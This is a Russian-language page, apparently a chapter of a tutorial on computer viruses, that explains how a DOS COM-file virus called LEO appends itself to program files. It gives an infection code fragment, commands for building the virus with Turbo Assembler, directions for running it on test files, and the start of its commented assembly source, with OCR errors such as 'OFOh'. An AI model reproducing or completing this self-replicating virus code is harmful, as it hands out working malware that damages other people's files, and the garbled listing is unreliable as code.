Истории о вирусах



              

Тело вируса записывается в конец - часть 2


mov ah,40h

mov сх,3

mov dx, offset jmpvir-offset myself

add dx.bp

int 21h

После того, как вирус закончит свою работу, он восстанавливает

в исходное состояние первые три байта программы (в памяти компью-

тера) и передает управление на начало программы. Далее, при

запуске зараженного файла, управление сначала получает вирус, затем -

исходная программа. Благодаря такой схеме работы рассматриваемый

вирус может спокойно существовать, будучи один раз выпущенным

на волю.

Как запустить вирус? В любом текстовом редакторе создается файл

LEO.ASM, содержащий исходный текст вируса, затем этот файл компи-

лируется и компонуется готовая программа. Например, в системе про-

граммирования Turbo Assembler последние два этапа выполняются та-

кими командами:

tasm.exe leo.asm

tlink leo.obj/t

В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус.

Для проверки работы вируса можно создать отдельный каталог и ско-

пировать в него этот файл, а также несколько других СОМ-файлов.

После запуска LEO.COM вирус внедрится во все остальные СОМ-фай-

лы. Не стоит бояться, что будет заражен сразу весь компьютер - вирус

распространяется только в текущем каталоге. Ниже приводится исход-

ный текст вируса:

.286 .Устанавливаем тип процессора

CheckByte equ OFOh

[Указываем, что регистры CS и DS содержат

;адрес сегмента кода программы

assume cs:code, ds:code

;Начало сегмента кода. В конце программы сегмент кода нужно

;закрыть - "code ends"

code segment

Останавливаем смещения в сегменте кода.

Данная строчка обязательна

;для СОМ-программы (все СОМ-программы

начинаются с адреса 100h)

org 100h

start:

;Имитируем зараженный СОМ-файл.

;Тело вируса начинается с метки la

; jmp la

db OE9h ;Код команды JMP

dw offset la-offset real

real:

[Выходим из программы

mov ah,4Ch

int 21 h

;3десь начинается тело вируса

la:

;Сохраняем регистры и флаги

pushf

pusha

push ds es

.Получаем точку входа.

;Для этого вызываем подпрограмму (следующий

;за вызовом адрес) и читаем из стека адрес возврата




Содержание  Назад  Вперед